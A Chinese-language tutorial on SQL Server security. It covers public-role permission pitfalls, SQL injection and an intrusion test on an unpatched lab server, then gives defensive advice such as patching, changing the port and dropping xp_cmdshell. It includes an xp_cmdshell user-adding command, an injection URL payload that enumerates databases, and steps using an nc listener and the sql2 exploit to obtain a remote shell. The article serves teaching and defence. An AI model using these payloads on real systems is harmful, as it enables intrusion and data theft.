萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

SQL Server安全問題深度剖析(下):public角色權限陷阱、注入攻擊、未打補丁實測入侵、五大防禦建議

1. 新建受限用戶aaa實測

  1. 新建登入aaa,強密碼,伺服器角色全不選。
  2. 資料庫存取僅選xyz庫,資料庫角色僅public。
  3. 用aaa登入「SQL查詢分析器」測試:EXEC xp_cmdshell 'net user user1 /add' → 無權限(預期)。但SELECT name FROM sysdatabases WHERE dbid>6 → 竟能查出所有資料庫(含master),違背預期。

2. 根因:public角色預設權限

public角色特殊:每個DB用戶自動屬於、無法移除、存在於所有DB(含master/msdb/tempdb/model),捕獲所有預設權限。在master中public擁有sysdatabases的SELECT權限(權限細分到Select/Insert/Update/Delete)。將該權限設為「拒絕」後,再執行查詢即提示「拒絕SELECT權限」。

public預設無執行擴展預存程序權限,但可授予;有存取資料庫權限,也可移除。權限配置是雙面刃:過鬆有漏洞、過嚴應用報錯,無完美方案,需懂原理後實踐摸索最佳配置。

3. SQL注入

ASP連接SQL Server帳號權限過大+ASP程式漏洞 → 構造惡意SQL語句(如.../aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6))暴庫/表/記錄。相關經典文章與工具(如NBSI2)眾多,不贅述。

4. 未打補丁SQL Server實測入侵

環境:192.168.113.10裝有漏洞SQL Server(SP2含以下),攻擊機192.168.113.207。工具:nc(瑞士軍刀)、sql2(專攻有漏洞SQL Server)。

  1. 攻擊機開nc -l -p 77監聽。
  2. 執行sql2 192.168.113.10 192.168.113.207 77 0。
  3. 目標有漏洞 → 攻擊機nc視窗出現目標機命令列介面(已入侵控制)。
  4. ipconfig確認IP為192.168.113.10,控制權到手。

不打補丁的SQL Server就是大漏勺,權限設再嚴也擋不住。

5. 五大防禦建議

  1. 及時打補丁(上文實測已證明不打補丁後果)。
  2. 最小權限=最大安全:用流行漏洞掃描/攻擊工具檢測自身系統安全性。
  3. 安裝防火牆:本機測試時裝防火牆極佳,即使有漏洞外部也攻擊不到。
  4. 改變預設埠:需遠端存取必須開埠,防火牆也要放行1433,攻擊工具主掃1433,改埠可擋一般掃描(非根治)。最簡單法:「開始→所有程式→Microsoft SQL Server→伺服器網路工具」→TCP/IP屬性→改埠(<65535)→重啟服務。遠端連接時IP後加新埠號。
  5. 刪除不需的擴展預存程序:EXEC sp_dropextendedproc '名稱'(如xp_cmdshell)。徹底失效還須刪除對應DLL(通常在Program Files\Microsoft SQL Server\MSSQL\Binn,xp_cmdshell對應xplog70.dll)。恢復:EXEC sp_addextendedproc '名稱', @dllname='DLL名'(若DLL已刪需複製回來)。
copyright © 萬盛學電腦網 all rights reserved